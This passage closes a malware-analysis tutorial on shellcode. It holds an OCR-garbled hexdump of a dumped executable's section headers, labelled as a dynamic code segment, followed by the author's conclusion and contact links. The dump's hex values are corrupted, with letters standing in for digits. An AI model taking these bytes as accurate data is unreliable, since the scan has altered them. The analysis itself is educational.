00000120 060 90 02 00 00 00 0O 10 0O 10 00 60 00 62 BO @0 |.......... ... ... |
00000130 065 00 OO 00 00 00 OO 60 05 00 00 00 0O 60 0O @0 |.......... .. ... |
00000140 00 60 04 00 0O 04 00 OO 00 GO 00 00 02 00 40 01 |. ............ Q.|
00000150 00 0O 10 00 0O 10 00 GO 00 GO 10 60 00 10 00 00 |........c0cvvniunn |
00000160 00 GO 00 00 10 00 00 00 cO 2b 03 60 51 00 60 0O |......... +..0...]
00000170 d4 1a 03 00O 64 00 00 GO OO 00 00 00 00 00 OO 00 |....d........... |
00000180 00 00 OO0 OO OO0 OO OO0 GO OO 00 00 00 00 00 00 00 |........c0viuun |
00000190 060 30 04 00 d8 18 OO 60 OO OO0 OO 60 GO 60 0O @0 |.0.............. |
000001a0 0O 00 OO OO0 00 OO0 OO 60 OO OO0 OO 60 0O 60 OO @0 |................ |
*

000001cO 0O 00 OO OO0 OO 00 OO 60 OO 90 02 60 24 B3 00 00 |............ $...]
000001d0 060 00 OO 00 00 00 OO 60 0O OO0 00 60 0O 60 B0 @0 |......... ... ... |
000001e0 0O 00 OO OO0 00 00 0O 60 20 74 65 78 74 00 00 00 |......... text...|
000001TO b5 79 02 00 00 10 OG0 GO OO 7a 02 00 00 04 00 00 |.y....... Z.oooon. |

00000200 00 0O 00 00 OO0 00 0O G0 00 GO 00 00 20 00 00 60 |............ o
000EO210 2e 72 64 61 74 61 00 00 11 9c 00 0O 0O 90 02 OO0 |.rdata.......... |
00DOE220 0O 9e 00 OO OO0 7e 02 OO0 0O OO 00 OO 0O GO OO OO |..... e eiaaaaaas |

00000230 00 00 00 OO 40 00 OO0 40 2e 64 61 74 61 00 0O 0O |....@..@.data...|
00000240 20 fO OO OO0 00 30 03 60 OO 6a 00 60 00 1c B3 @O | ....0...7...... |
00000250 00 00 OO OO0 00 60 OGO 60 OO 0O OO 60 40 60 00 c®@ |............ @...|
00000260 2e 72 65 6c 6T 63 00 OO0 60 20 00 00 00 30 04 00 |.reloc.. ...0..]

000EE270 00 22 00 OO OO0 86 63 G0 0O GO OO 60 0O 00 00 OO |.".............. |
root@ubuntu@l:~/malware/mas/mas 09/memory dump#

[Figure 60] Content of the dynamic code segment
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9. Conclusion

In this article | have provided you with an introduction to shellcode analysis. While | could have done
additional examples, | believe that they would be remarkably similar to the ones presented, and it would
make the article longer, but not necessarily useful.

As you already know, | moved to another area (vulnerability research) a bit more than a couple of years
ago, and now | really do something | have passion to do. Therefore, that is my advice. Follow your heart.

Just in case you want to stay connected:

=  Twitter: @ale_sp_brazil
= Blog: https://exploitreversing.com

Keep learning, reversing, and exploiting everything, and | will see you next time!

Alexandre Borges
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